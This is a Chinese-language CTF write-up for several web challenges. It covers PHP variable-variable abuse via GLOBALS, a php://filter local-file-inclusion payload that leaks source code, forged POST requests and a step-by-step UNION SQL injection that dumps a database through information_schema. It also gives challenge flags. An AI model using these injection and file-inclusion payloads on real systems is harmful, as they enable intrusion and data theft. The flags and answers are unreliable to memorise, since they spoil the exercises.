CTF解題報告

• Web類型解題思路
• • • WEB3
    • 域名解析
    • 你必須讓他停下
    • 變量1
    • web5
    • flag在index里
    • 點擊一百萬次
    • 成績查詢

Web類型解題思路

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WEB3

KEY{J2sa42ahJK-HS11III}
像&#+十進制數(shù)這種類型的編碼是HTML的轉(zhuǎn)移字符。

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域名解析

題目：聽說把 flag.bugku.com 解析到120.24.86.145 就能拿到flag。
修改C:\Windows\System32\drivers\etc\hosts文件

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你必須讓他停下

不知道我的做法對不對。我是用console控制到設(shè)置JavaScript斷點來讓他停止！

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變量1

題目代碼如下：

flag In the variable ! <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){$args = $_GET['args'];if(!preg_match("/^\w+$/",$args)){die("args error!");}eval("var_dump($$args);"); } ?>

在解題之前，我們先插入一個知識點：

<?php $a = 'aa'; $aa = 'bb'; $b = $$a;//這里做了一步,$b = $($a)=$(aa)=$aa echo $b; ?> 輸出結(jié)果： >>>bb

于是，這題思路就是將$args這個的數(shù)值變?yōu)橐粋€變量！可以看出只要將eval("var_dump($$args);");這句話被執(zhí)行，就可以得到我們想要的結(jié)果。
顯然，GLOBALS存儲所有變量的鍵/值，所以args=GLOBALS。

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web5

題目：

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這題只要直接將這個字符串復制到Chrome的控制臺下作為輸入內(nèi)容就可以得到輸出的答案ctf{whatfk}。

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flag在index里

這題，有點難！
第一步將參數(shù)file的值設(shè)為php://filter/read/convert.base64-encode/resource=index.php，求大神說明一下！
第二步，由第一步獲取到了一堆由base64編碼后的字符。將這些字符解碼后將獲取到一段源代碼！

120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php<html><title>Bugku-ctf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:flag{edulcni_elif_lacol_si_siht} ?> </html>

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點擊一百萬次

這題要注意，get和post的請求包頭部有些不一樣！
GET

GET /test/ HTTP/1.1 Host: 120.24.86.145:9001 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Connection: close Upgrade-Insecure-Requests: 1

POST

POST /test/ HTTP/1.1 Host: 120.24.86.145:9001 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 14clicks=1000000

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成績查詢

SQL注入題！簡單題！

關(guān)鍵字作用

UNION	將多個查詢連接起來形成一張表
group_concat(field)	將每條數(shù)據(jù)的某幾個字段連接成一條字符串
information_schema.schemata	存儲所有schemata的各個屬性的表
information_schema.tables	存儲所有table的表,以及chemata的所有屬性
information_schema.columns	存儲所有field名字的表,以及table的所有屬性和chemata的所有屬性

第一步：暴庫
id=-1’ union select 1,2,3,group_concat(schema_name) from information_schema.schemata#

第二步：爆表
id=-1’ union select 1,2,3,table_name from information_schema.tables where table_schema=0x736b6374665f666c6167#

第三步：爆字段
id=-1’ union select 1,2,3,column_name from information_schema.columns where table_name=0x666c3467#

第四步：爆內(nèi)容
id=-1’ union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#

這題頭疼，不好做！！！！

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